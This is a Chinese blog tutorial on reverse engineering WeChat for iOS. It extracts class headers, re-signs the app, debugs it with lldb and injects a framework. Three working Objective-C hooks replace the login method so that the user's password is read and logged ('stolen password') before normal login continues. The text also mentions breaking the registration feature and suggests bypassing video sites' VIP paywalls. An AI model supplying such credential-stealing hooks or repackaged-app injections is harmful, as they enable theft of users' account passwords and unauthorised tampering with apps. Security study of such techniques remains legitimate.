iOS 逆向 - 重签应用调试与代码修改 (Hook)

4,440 阅读6分钟

前言

本篇文章基于前两篇基础之上的 . 还没了解的同学欢迎阅读 :

应用签名原理及重签名

shell 脚本自动重签名与代码注入

这两篇文章中花了很多篇幅来讲解 签名重签代码注入 等等 . 那么重签了 wx 的应用包 , 我们到底能不能拿来调试 , 能不能看到源代码 , 或者说 , 我们重签名了到底有什么用呢 ?

本篇文章我们一起来探索一下 .

"wx" 应用 '源代码' 提取

准备工具

class-dump 提取码 : kjjs

class-dump 这个工具可以将 Mach-O 中的类的描述 copy 出来 . 可以理解成把头文件提取出来 , ( 但也不仅仅是头文件 ) .

提取

打开我们下载的越狱微信 ipa . 转 zip 解压 , Payload - WeChat 显示包内容 , 找到 WeChatMach-O 源文件 . 复制出来到 class-dump 同路径下 .

cd 到这个目录下 , 执行 :

./class-dump -H WeChat -o ./headers/

执行完毕 :

其实其原理就是 根据 Mcah-O 中类的描述 , 属性 , 方法 . 进行整理 , 然后生成 , 写入 .

我们看到了一万多个头文件 . 这里推荐一个方便查看与搜索的工具 .

Sublime

直接把 headers 文件夹拖入 Sublime .

你就可以随意浏览了 . 后期会再考虑是否摄入汇编代码部分 .

代码修改 ( 破坏 / 窃取 ... )

需求 1 : 破坏注册功能

这个需求比较简单 , 实现思路就是代码注入的方式 , Hook 注册按钮的方法 . 修改为自己的方法即可 , 就不演示了 .

我们来演示个有点意思的.

需求 2 : 获取用户登录密码 但保持其登录功能

我们来一步步玩一下 .

1 重签名工程

准备好重签成功的工程 , 没有做代码注入的 , 就写一个 framework , 然后 shell 脚本里 yololib 做一下. cmd + r , run 起来.

记得检查一下 代码有没有注入成功.

2 找到登录按钮方法

  • 来到如下页面 .

  • View Debug

左边选择窗口 , 选中登录按钮 , 注意不要选中 上面覆盖的 imageview 了 , 绿的那个. 右边看 TargetAction .

注意 :

笔者这里是 Xcode 11 , 因此 TargetAction 都是地址 , 老版本的 Xcode 都是直接显示类名和方法名的 , 那么怎么办呢 . lldb .

3 Sublime 找到方法

  • 来到 Sublime 我们打开好的源码中 , cmd + shift + F .

  • 搜索结果 , 白色框直接双击来到这个文件 , 找到方法 ( onNext ).

  • 找到这个方法 , 我有点懵逼 o((⊙﹏⊙))o , 为什么呢 ? 这个方法没有参数 , 也就是说它并没有把用户密码当成参数传递 , 当然我们看属性也没有把密码当成一个属性 . 那咋办嘛 ?

4 找到密码输入框的控件

因为我们要 Hook 的是 onNext 方法 , 那么在 onNext 方法中 , 我们只有 self 这个隐式参数可用 . 因此我们去找成员变量和属性 . 如果找不到 , 也可以用 subView 的方式 , 最恐怖的时候 我们甚至要通过控制链去找 .

当然这里不用那么麻烦 , 优秀的 wx 工程师的命名规范为我们很快找到一个 这个东西.

他显然不是一个 textField , 但是看起来和输入框有点关系 . 那我们去看看这个类 .

5 搜索 WCAccountTextFieldItem

cmd + shift + F@interface WCAccountTextFieldItem

里面好像没有看到 textField , 不着急 , 沿着继承链 , 找父类 WCBaseTextFieldItem.

6 搜索 WCBaseTextFieldItem

cmd + shift + F@interface WCBaseTextFieldItem

是不是看到了这个 tf .

那么我们来回顾一下 .

onNext 方法中 我们通过 self._textFieldUserPwdItem.m_textField 就可以拿到输入框 , 然后再 .text , 不就拿到用户密码了吗 ?

想通了那就开始干 ?

NO !

注意 : 在逆向调试的过程中 , 想通了不一定代表走的通 , 那这时候如果去撸代码 , 很可能会白干.

那么怎么办呢 ? lldb 动态调试一下.

7 动态调试

  • View Debug , 找到 vc , 拿到地址 .
  • 通过 valueForKey , 找到 _textFieldUserPwdItem , 拿到 WCUITextField , 拿到其 text

验证通过 , 开干

8 代码注入

打开我们自己注入的 framework , 来到 load 方法开始 hook , 具体代码逻辑我就不详细介绍了 .

大概总结一下 :

将登陆按钮的方法换成我们的方法 , 在我们拿到密码后在调用微信原本的方法继续执行 .

代码我也贴一下 .

注意:

这里如果使用 method_exchangeImplementations 有个需要注意的点 , 平时我们大多是在分类中做 hook , 那么 hook 之后 , 原先的类再访问我们自己在分类中定义的方法是没有问题的 , 因为分类本身就是扩展 在原本类的方法列表就会有这个你自己定义的方法.

但是 , 在此时我们自己注入的 framework 就不行了 , 因为我们把 onNext 方法的 imp 换成自己的方法 , 微信调用 onNext 来到我们的方法实现 , 是没问题的 . 但当我们拿到了密码想让其访问原方法 , 这个时候调用的是给 VCmy_onNext 的消息 , 那肯定是找不到的 , 而如果是我们正向开发使用分类就没这个问题了 , 这也是我们为什么经常使用分类来做 hook 的主要原因 , 面试再碰到不要再回答 什么污染 什么效率了...

解决办法也很简单 , 这里我都给大家敲了一遍 贴出来了

    1. 给原本类添加一个方法 . class_addMethod ( 比较麻烦 )
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"代码注入成功!");
    
    //原始微信的登录方法
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));

    //添加新方法
    /**
     * 1、给哪个类添加方法
     * 2、方法编号
     * 3、方法实现(地址)
     */
    BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext, "v@:");
    //交换
    method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
    
}

//方法实现IMP
void new_onNext(id self,SEL _cmd){
    //拿出用户的密码
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到用户的密码是%@",pwd.text);
    //登录
    [self performSelector:@selector(new_onNext)];
}

@end
    1. 使用替换
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"代码注入成功!");
    
    //使用替换
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
    class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}

// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);

//方法实现IMP
void new_onNext(id self,SEL _cmd){
    //拿出用户的密码
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到用户的密码是%@",pwd.text);
    //登录
    old_onNext(self,_cmd);
}
    1. 使用 getImp / setImp ( 最简单 )
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog(@"代码注入成功!");
    //getIMP 和 setIMP
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
    method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}

// imp 指针 --》 8字节。
IMP (*old_onNext)(id self,SEL _cmd);

//方法实现IMP
void new_onNext(id self,SEL _cmd){
    //拿出用户的密码
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@"窃取到用户的密码是%@",pwd.text);
    //登录
    old_onNext(self,_cmd);
}

其实 二和三的原理就是仅仅把 微信原方法 onNextimp 保存一下 , 然后换成我们自己的 , 在调用我们自己的方法之后再直接调用一下保存的 imp . 是不是超级简单呢 ?

为什么要讲这么多种方法呢 . 一是方便大家理解 , 另外后面我们会介绍一个专门来做 Hook 的工具 , 这个工具大部分都是直接使用的 getIMPsetIMP . 大家敬请期待吧 😆.

运行

  • 控制台拿到密码.
  • 页面上正常调用微信登录

这里简单模拟了一个需求 , 来实现了一下 , 主要是将这种方式介绍给大家 , 能实现什么 , 大家可以自己去玩一玩 , 例如可否绕过某些视频网站开通 vip 呢 ? 或者其他想法 .

当然 , 还是那句话 : 玩逆向 只是为了防护 .